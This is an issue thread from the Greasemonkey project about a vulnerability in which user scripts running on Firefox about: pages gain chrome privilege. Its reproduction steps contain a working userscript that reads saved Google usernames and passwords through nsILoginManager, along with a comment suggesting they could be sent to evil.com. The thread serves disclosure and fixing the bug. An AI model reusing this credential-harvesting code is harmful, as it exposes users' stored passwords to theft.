User scripts should not have chrome privilege in about: pages

[LouCypher]

I found that user script run on these about pages has chrome previleges

about:
about:addons
about:config
about:crashes
about:memory
about:permissions
about:plugins
about:support

I tried the snippet on https://developer.mozilla.org/en/Using_nsILoginManager#Retrieving_a_password worked with user script run on the above pages.

Steps to reproduce:

1. Enable "greasemonkey.aboutIsGreaseable" in about:config (set it to true)
2. Install this script

// ==UserScript==
// @name            Retrieving passwords via about: pages
// @namespace       http://mozilla.status.net/loucypher
// @include         about:*
// ==/UserScript==

var hostname = 'https://www.google.com';
var formSubmitURL = 'https://www.google.com';  // not http://www.example.com/foo/auth.cgi
var httprealm = null;
var username, password;

try {
  var myLoginManager = Components.classes["@mozilla.org/login-manager;1"].
                        getService(Components.interfaces.nsILoginManager);
  var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
  var info = "";
  for (var i = 0; i < logins.length; i++) {
    info += logins[i].username + "\n";
    info += logins[i].password + "\n\n";
  }
  //GM_log(info);
  alert(info); // show usernames and passwords for google.com
               // or send to evil.com via XHR (untested)
} catch(ex) {
  // This will only happen if there is no nsILoginManager component class
  //GM_log(ex);
}

Expected result:
User script should not have chrome privileges and should not have access to XPCOMs

Actual result:
Display usernames and passwords (could be worse)

[Martii]

Historical issue reference:
#1302

[arantius]

My initial guess is that it's just running with the principal of the page itself, which is chrome.

I'd be inclined to say that injecting into about: (besides blank) should be completely removed, rather than pref'ed like it is now. It's unsafe even without this bug.

[arantius]

I've spent over an hour on this, and been unable to come up with a fix (drop chrome privilege) that continues to allow the script to do anything (it just completely blocks access to the chrome-scope document).

Still thinking we should just drop this feature (injecting into about:s besides blank) altogether.

[Martii]

Still thinking we should just drop this feature (injecting into about:s besides blank) altogether.

In regards to security I am +1 for this. Moz and other addons are starting to create about: entries of their own and I would really rather not see user.js become a security threat to other add-ons including the Moz core. We could never really handle all of them especially if GM isn't aware of them. about:blank had some issues last time I tested it to with document.write but that was a while ago.

[LouCypher]

I agree, it should be removed.

[decembre]

It seems the fix need an update....

I see many Usesrcripts which work on addons-pages.

I post a request on greasyfork arround this problem:
How to exculde "about:addons" for a script?

Firefox 31.0
Windows 7

[decembre]

In How to exculde "about:addons" for a script?
Jefferson Scher wrote:
" * If I open about:addons and the last category/list was anything except "Get Add-ons" then the monkey menu lists no scripts. If I switch to any category except "Get Add-ons" there still are no scripts enabled.

• If I select "Get Add-ons" then the monkey menu will show scripts, and will continue to show scripts as I switch categories, until I close the page.

"Get Add-ons" loads an iframe with a page from services.addons.mozilla.org and that is a permissible target for scripts. What is strange is that the monkey button continues to show scripts when you switch categories, but it could be that the iframe remains open in the page, just not displayed.

If you are getting interference within the iframe then you know the domain to exclude. If you are getting interference outside the iframe, hmm, that's strange. "

I wrote:
"Thanks :
that's good and i have same results than you.

I add:
// @exclude http_://services.addons.mozilla.org/_

and the script don't work on the addons-page (it hang a moment the page).

But the persistence of the iframe is strange:
maybe greasemonkey need an update"

[volkan-k]

Dear @LouCypher and Everybody else;

is it safe to allow "about:neterror" in Greasemonkey? you didnt mention about:neterror in your post.
about:neterror Shows the error page used when the browser could not access the requested path. [1]
it may be very useful to write error handler userscript that runs on about:neterror if it doesnt have chrome previleges..
Could you please let us know if "about:neterror" has Chrome previleges or not?, if it doesnt, could you please allow "about:neterror" when explicitly included???

Best Regards,

[1] http://en.wikipedia.org/wiki/About_URI_scheme#Mozilla-specific_about:_URIs

[tophf]

is it safe to allow "about:neterror" in Greasemonkey?

It'd be very nice to customize it like this.